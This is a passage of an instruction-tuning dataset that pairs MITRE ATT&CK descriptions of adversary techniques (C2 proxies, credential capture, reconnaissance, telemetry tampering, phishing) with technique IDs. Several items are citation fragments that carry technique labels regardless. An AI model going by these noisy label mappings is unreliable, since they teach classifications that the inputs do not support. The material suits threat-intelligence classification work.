in the text. ### Input: (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. ### Response: T1090."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.", "output": "T1090", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may chain together multiple proxies to further disguise the source of malicious traffic. ### Response: T1090."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.", "output": "T1090", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic. ### Response: T1090."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure.", "output": "T1090.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. ### Response: T1090.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap.", "output": "T1090.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. ### Response: T1090.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.", "output": "T1090.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion. ### Response: T1090.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors.", "output": "T1090.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. ### Response: T1090.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers.", "output": "T1090.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. ### Response: T1090.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated.", "output": "T1090.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. ### Response: T1090.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.", "output": "T1090.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server. ### Response: T1090.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use methods of capturing user input to obtain credentials or collect information.", "output": "T1056", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use methods of capturing user input to obtain credentials or collect information. ### Response: T1056."}{"instruction": "List the MITRE techniques contained in the text.", "input": "During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes.", "output": "T1056", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. ### Response: T1056."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).", "output": "T1056", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)). ### Response: T1056."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service.", "output": "T1056.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. ### Response: T1056.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, a compromised login page may log provided user credentials before logging the user in to the service.", "output": "T1056.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, a compromised login page may log provided user credentials before logging the user in to the service. ### Response: T1056.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)", "output": "T1056.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging) ### Response: T1056.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's identity that can be used during targeting.", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's identity that can be used during targeting. ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials.", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials. ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation:", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Forbes GitHub Creds)(Citation:", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Forbes GitHub Creds)(Citation: ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks)", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather email addresses that can be used during targeting.", "output": "T1589.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather email addresses that can be used during targeting. ### Response: T1589.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.", "output": "T1589.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees. ### Response: T1589.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation:", "output": "T1589.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ### Response: T1589.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "HackersArise Email)(Citation: CNET Leaks)", "output": "T1589.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: HackersArise Email)(Citation: CNET Leaks) ### Response: T1589.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Email addresses could also be enumerated via more active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)), such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum)", "output": "T1589.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Email addresses could also be enumerated via more active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)), such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) ### Response: T1589.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may be able to enumerate email addresses in Office 365 environments by querying a variety of publicly available API endpoints, such as autodiscover and GetCredentialType.(Citation: GitHub Office 365 User Enumeration)(Citation: Azure Active Directory Reconnaisance)", "output": "T1589.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may be able to enumerate email addresses in Office 365 environments by querying a variety of publicly available API endpoints, such as autodiscover and GetCredentialType.(Citation: GitHub Office 365 User Enumeration)(Citation: Azure Active Directory Reconnaisance) ### Response: T1589.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or", "output": "T1589.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or ### Response: T1589.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Brute Force](https://attack.mitre.org/techniques/T1110) via [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "output": "T1589.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Brute Force](https://attack.mitre.org/techniques/T1110) via [External Remote Services](https://attack.mitre.org/techniques/T1133)). ### Response: T1589.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine.", "output": "T1164", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. ### Response: T1164."}{"instruction": "List the MITRE techniques contained in the text.", "input": "While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code> and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.*", "output": "T1164", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code> and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.* ### Response: T1164."}{"instruction": "List the MITRE techniques contained in the text.", "input": ".plist</code>.", "output": "T1164", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: .plist</code>. ### Response: T1164."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).", "output": "T1164", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence). ### Response: T1164."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed.", "output": "T1054", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. ### Response: T1054."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry.", "output": "T1054", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. ### Response: T1054."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Medium Event Tracing Tampering 2018)", "output": "T1054", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Medium Event Tracing Tampering 2018) ### Response: T1054."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1086) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).", "output": "T1054", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1086) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). ### Response: T1054."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the registry to make alterations.", "output": "T1054", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the registry to make alterations. ### Response: T1054."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis.", "output": "T1054", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. ### Response: T1054."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.", "output": "T1054", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products. ### Response: T1054."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may send phishing messages to elicit sensitive information that can be used during targeting.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All forms of phishing are electronically delivered social engineering.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All forms of phishing are electronically delivered social engineering. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing can be targeted, known as spearphishing.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing can be targeted, known as spearphishing. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In spearphishing, a specific individual, company, or industry will be targeted by the adversary.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In spearphishing, a specific individual, company, or industry will be targeted by the adversary. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation:", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation:", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sophos Attachment)(Citation: GitHub Phishery) Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)\n\nPhishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sophos Attachment)(Citation: GitHub Phishery) Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)\n\nPhishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) \n\nPhishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation:", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) \n\nPhishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Palo Alto Unit 42 VBA Infostealer 2014)", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Palo Alto Unit 42 VBA Infostealer 2014) ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use voice communications to elicit sensitive information that can be used during targeting.", "output": "T1598.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use voice communications to elicit sensitive information that can be used during targeting. ### Response: T1598.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information.", "output": "T1598.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. ### Response: T1598.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.", "output": "T1598.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient. ### Response: T1598.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All forms of phishing are electronically delivered social engineering.", "output": "T1598.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All forms of phishing are electronically delivered social engineering. ### Response: T1598.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In this scenario, adversaries use phone calls to elicit sensitive information from victims.", "output": "T1598.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In this scenario, adversaries use phone calls to elicit sensitive information from victims. ### Response: T1598.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Known as voice phishing (or \"vishing\"), these communications can be manually executed by adversaries, hired call centers, or even automated via robocalls.", "output": "T1598.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Known as voice phishing (or \"vishing\"), these communications can be manually executed by adversaries, hired call centers, or even automated via robocalls. ### Response: T1598.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Voice phishers may spoof their phone number while also posing as a trusted entity, such as a business partner or technical support staff.(Citation: BOA Telephone Scams)\n\nVictims may also receive phishing messages that direct them to call a phone number (\"callback phishing\") where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)", "output": "T1598.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Voice phishers may spoof their phone number while also posing as a trusted entity, such as a business partner or technical support staff.(Citation: BOA Telephone Scams)\n\nVictims may also receive phishing messages that direct them to call a phone number (\"callback phishing\") where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing) ### Response: T1598.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or", "output": "T1598.004", 